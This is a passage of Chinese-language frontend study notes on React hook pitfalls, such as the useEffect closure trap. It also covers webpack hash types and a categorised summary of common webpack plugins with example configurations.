<p>Child, props name: {userInfo.name}</p>
<p>Child, state name: {name}</p>
</div>
}
function App() {
const [name, setName] = useState('test')
const userInfo = { name }
return <div>
<div>
Parent
<button onClick={() => setName('test1')}>setName</button>
</div>
<Child userInfo={userInfo}/>
</div>
}
export default App
// 第二个坑:`useEffect`内部不能修改`state`
import React, { useState, useRef, useEffect } from 'react'
function UseEffectChangeState() {
const [count, setCount] = useState(0)
// 模拟 DidMount
const countRef = useRef(0)
useEffect(() => {
console.log('useEffect...', count)
// 定时任务
const timer = setInterval(() => {
console.log('setInterval...', countRef.current) // 一直是0 闭包陷阱
// setCount(count + 1)
setCount(++countRef.current) // 解决方案使用useRef
}, 1000)
// 清除定时任务
return () => clearTimeout(timer)
}, []) // 依赖为 []
// 依赖为 [] 时: re-render 不会重新执行 effect 函数
// 没有依赖:re-render 会重新执行 effect 函数
return <div>count: {count}</div>
}
export default UseEffectChangeState
# 8 Webpack
# hash、chunkhash、contenthash区别
- 如果是
hash
的话,是和整个项目有关的,有一处文件发生更改则所有文件的hash
值都会发生改变且它们共用一个hash
值; - 如果是
chunkhash
的话,只和entry
的每个入口文件有关,也就是同一个chunk
下的文件有所改动该chunk
下的文件的hash
值就会发生改变 - 如果是
contenthash
的话,和每个生成的文件有关,只有当要构建的文件内容发生改变时才会给该文件生成新的hash
值,并不会影响其它文件。
# webpack常用插件总结
1. 功能类
1.1 html-webpack-plugin
自动生成
html
,基本用法:
new HtmlWebpackPlugin({
filename: 'index.html', // 生成文件名
template: path.join(process.cwd(), './index.html') // 模班文件
})
1.2 copy-webpack-plugin
拷贝资源插件
new CopyWebpackPlugin([
{
from: path.join(process.cwd(), './vendor/'),
to: path.join(process.cwd(), './dist/'),
ignore: ['*.json']
}
])
1.3 webpack-manifest-plugin && assets-webpack-plugin
俩个插件效果一致,都是生成编译结果的资源单,只是资源单的数据结构不一致而已
webpack-manifest-plugin 基本用法
module.exports = {
plugins: [
new ManifestPlugin()
]
}
assets-webpack-plugin 基本用法
module.exports = {
plugins: [
new AssetsPlugin()
]
}
1.4 clean-webpack-plugin
在编译之前清理指定目录指定内容
// 清理目录
const pathsToClean = [
'dist',
'build'
]
// 清理参数
const cleanOptions = {
exclude: ['shared.js'], // 跳过文件
}
module.exports = {
// ...
plugins: [
new CleanWebpackPlugin(pathsToClean, cleanOptions)
]
}
1.5 compression-webpack-plugin
提供带
Content-Encoding
编码的压缩版的资源
module.exports = {
plugins: [
new CompressionPlugin()
]
}
1.6 progress-bar-webpack-plugin
编译进度条插件
module.exports = {
//...
plugins: [
new ProgressBarPlugin()
]
}
2. 代码相关类
2.1 webpack.ProvidePlugin
自动加载模块,如
$
出现,就会自动加载模块;$
默认为'jquery'
的exports
new webpack.ProvidePlugin({
$: 'jquery',
})
2.2 webpack.DefinePlugin
定义全局常量
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: JSON.stringify(process.env.NODE_ENV)
}
})
2.3 mini-css-extract-plugin && extract-text-webpack-plugin
提取css样式,对比
mini-css-extract-plugin
为webpack4
及以上提供的plugin
,支持css chunk
extract-text-webpack-plugin
只能在webpack3
及一下的版本使用,不支持css chunk
基本用法 extract-text-webpack-plugin
const ExtractTextPlugin = require("extract-text-webpack-plugin");
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: ExtractTextPlugin.extract({
fallback: "style-loader",
use: "css-loader"
})
}
]
},
plugins: [
new ExtractTextPlugin("styles.css"),
]
}
基本用法 mini-css-extract-plugin
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [
{
loader: MiniCssExtractPlugin.loader,
options: {
publicPath: '/' // chunk publicPath
}
},
"css-loader"
]
}
]
},
plugins: [
new MiniCssExtractPlugin({
filename: "[name].css", // 主文件名
chunkFilename: "[id].css" // chunk文件名
})
]
}
3. 编译结果优化类
3.1 wbepack.IgnorePlugin
忽略
regExp
匹配的模块
new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/)
3.2 uglifyjs-webpack-plugin
代码丑化,用于js压缩
module.exports = {
//...
optimization: {
minimizer: [new UglifyJsPlugin({
cache: true, // 开启缓存
parallel: true, // 开启多线程编译
sourceMap: true, // 是否sourceMap
uglifyOptions: { // 丑化参数
comments: false,
warnings: false,
compress: {
unused: true,
dead_code: true,
collapse_vars: true,
reduce_vars: true
},
output: {
comments: false
}
}
}]
}
};
3.3 optimize-css-assets-webpack-plugin
css压缩,主要使用
cssnano
压缩器 https://github.com/cssnano/cssnano
module.exports = {
//...
optimization: {
minimizer: [new OptimizeCssAssetsPlugin({
cssProcessor: require('cssnano'), // css 压缩优化器
cssProcessorOptions: { discardComments: { removeAll: true } } // 去除所有注释
})]
}
};
3.4 webpack-md5-hash
使你的
chunk
根据内容生成md5
,用这个md5
取代webpack chunkhash
。
var WebpackMd5Hash = require('webpack-md5-hash');
module.exports = {
// ...
output: {
//...
chunkFilename: "[chunkhash].[id].chunk.js"
},
plugins: [
new WebpackMd5Hash()
]
};
3.5 SplitChunksPlugin
CommonChunkPlugin
的后世,用于chunk
切割。
webpack
把chunk
分为两种类型,一种是初始加载initial chunk
,另外一种是异步加载async chunk
,如果不配置SplitChunksPlugin
,webpack
会在production
的模式下自动开启,默认情况下,webpack
会将node_modules
下的所有模块定义为异步加载模块,并分析你的entry
、动态加载(import()
、require.ensure
)模块,找出这些模块之间共用的node_modules
下的模块,并将这些模块提取到单独的chunk
中,在需要的时候异步加载到页面当中,其中默认配置如下
module.exports = {
//...
optimization: {
splitChunks: {
chunks: 'async', // 异步加载chunk
minSize: 30000,
maxSize: 0,
minChunks: 1,
maxAsyncRequests: 5,
maxInitialRequests: 3,
automaticNameDelimiter: '~', // 文件名中chunk分隔符
name: true,
cacheGroups: {
vendors: {
test: /[\\/]node_modules[\\/]/, //
priority: -10
},
default: {
minChunks: 2, // 最小的共享chunk数
priority: -20,
reuseExistingChunk: true
}
}
}
}
};
4. 编译优化类
4.1 DllPlugin && DllReferencePlugin && autodll-webpack-plugin
dllPlugin
将模块预先编译,DllReferencePlugin
将预先编译好的模块关联到当前编译中,当webpack
解析到这些模块时,会直接使用预先编译好的模块。autodll-webpack-plugin
相当于dllPlugin
和DllReferencePlugin
的简化版,其实本质也是使用dllPlugin && DllReferencePlugin
,它会在第一次编译的时候将配置好的需要预先编译的模块编译在缓存中,第二次编译的时候,解析到这些模块就直接使用缓存,而不是去编译这些模块
dllPlugin 基本用法:
const output = {
filename: '[name].js',
library: '[name]_library',
path: './vendor/'
}
module.exports = {
entry: {
vendor: ['react', 'react-dom'] // 我们需要事先编译的模块,用entry表示
},
output: output,
plugins: [
new webpack.DllPlugin({ // 使用dllPlugin
path: path.join(output.path, `${output.filename}.json`),
name: output.library // 全局变量名, 也就是 window 下 的 [output.library]
})
]
}
DllReferencePlugin 基本用法:
const manifest = path.resolve(process.cwd(), 'vendor', 'vendor.js.json')
module.exports = {
plugins: [
new webpack.DllReferencePlugin({
manifest: require(manifest), // 引进dllPlugin编译的json文件
name: 'vendor_library' // 全局变量名,与dllPlugin声明的一致
}
]
}
autodll-webpack-plugin 基本用法:
module.exports = {
plugins: [
new AutoDllPlugin({
inject: true, // 与 html-webpack-plugin 结合使用,注入html中
filename: '[name].js',
entry: {
vendor: [
'react',
'react-dom'
]
}
})
]
}
4.2 happypack && thread-loader
多线程编译,加快编译速度,
thread-loader
不可以和mini-css-extract-plugin
结合使用
happypack 基本用法
const HappyPack = require('happypack');
const os = require('os');
const happyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length });
const happyLoaderId = 'happypack-for-react-babel-loader';
module.exports = {
module: {
rules: [{
test: /\.jsx?$/,
loader: 'happypack/loader',
query: {
id: happyLoaderId
},
include: [path.resolve(process.cwd(), 'src')]
}]
},
plugins: [new HappyPack({
id: happyLoaderId,
threadPool: happyThreadPool,
loaders: ['babel-loader']
})]
}
thread-loader 基本用法
module.exports = {
module: {
rules: [
{
test: /\.js$/,
include: path.resolve("src"),
use: [
"thread-loader",
// your expensive loader (e.g babel-loader)
"babel-loader"
]
}
]
}
}
4.3 hard-source-webpack-plugin && cache-loader
使用模块编译缓存,加快编译速度
hard-source-webpack-plugin 基本用法
module.exports = {
plugins: [
new HardSourceWebpackPlugin()
]
}
cache-loader 基本用法
module.exports = {
module: {
rules: [
{
test: /\.ext$/,
use: [
'cache-loader',
...loaders
],
include: path.resolve('src')
}
]
}
}
5. 编译分析类
5.1 webpack-bundle-analyzer
编译模块分析插件
new BundleAnalyzerPlugin({
analyzerMode: 'server',
analyzerHost: '127.0.0.1',
analyzerPort: 8889,
reportFilename: 'report.html',
defaultSizes: 'parsed',
generateStatsFile: false,
statsFilename: 'stats.json',
statsOptions: null,
logLevel: 'info'
}),
5.2 stats-webpack-plugin && PrefetchPlugin
stats-webpack-plugin
将构建的统计信息写入文件,该文件可在 http://webpack.github.io/analyse中上传进行编译分析,并根据分析结果,可使用PrefetchPlugin
对部分模块进行预解析编译
stats-webpack-plugin 基本用法:
module.exports = {
plugins: [
new StatsPlugin('stats.json', {
chunkModules: true,
exclude: [/node_modules[\\\/]react/]
})
]
};
PrefetchPlugin 基本用法:
module.exports = {
plugins: [
new webpack.PrefetchPlugin('/web/', 'app/modules/HeaderNav.jsx'),
new webpack.PrefetchPlugin('/web/', 'app/pages/FrontPage.jsx')
];
}
5.3 speed-measure-webpack-plugin
统计编译过程中,各
loader
和plugin
使用的时间
const SpeedMeasurePlugin = require("speed-measure-webpack-plugin");
const smp = new SpeedMeasurePlugin();
const webpackConfig = {
plugins: [
new MyPlugin(),
new MyOtherPlugin()
]
}
module.exports = smp.wrap(webpackConfig);
# webpack热更新原理
- 当修改了一个或多个文件;
- 文件系统接收更改并通知
webpack
; webpack